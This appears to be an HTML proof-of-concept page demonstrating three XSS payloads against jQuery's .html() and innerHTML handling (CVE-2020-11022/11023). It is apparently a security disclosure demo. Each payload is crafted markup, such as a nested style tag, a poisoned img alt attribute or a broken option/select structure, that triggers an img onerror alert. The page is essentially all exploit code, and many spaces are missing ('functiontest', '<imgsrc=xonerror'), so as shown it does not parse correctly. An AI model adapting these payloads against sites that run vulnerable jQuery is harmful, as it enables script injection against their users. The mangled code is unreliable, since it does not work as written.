<!-- 原始测试代码保持不变 --> <script> functiontest(n,jq){ sanitizedHTML = document.getElementById('poc'+n).innerHTML; if(jq){ $('#div').html(sanitizedHTML); }else{ div.innerHTML=sanitizedHTML; } } </script> <h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1> <p>PoCs of XSS bugs fixed in <ahref="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <ahref="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <ahref="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
<h2>PoC 1</h2> <buttononclick="test(1)">Assign to innerHTML</button><buttononclick="test(1,true)">Append via .html()</button> <xmpid="poc1"> <style><style /><imgsrc=xonerror=alert(2)> </xmp> <h2>PoC 2 (Only jQuery 3.x affected)</h2> <buttononclick="test(2)">Assign to innerHTML</button><buttononclick="test(2,true)">Append via .html()</button> <xmpid="poc2"> <imgalt="<x"title="/><img src=x onerror=alert("1st")>"> </xmp> <h2>PoC 3</h2> <buttononclick="test(3)">Assign to innerHTML</button><buttononclick="test(3,true)">Append via .html()</button> <xmpid="poc3"> <option><style></option></select><imgsrc=xonerror=alert("1st")></style> </xmp>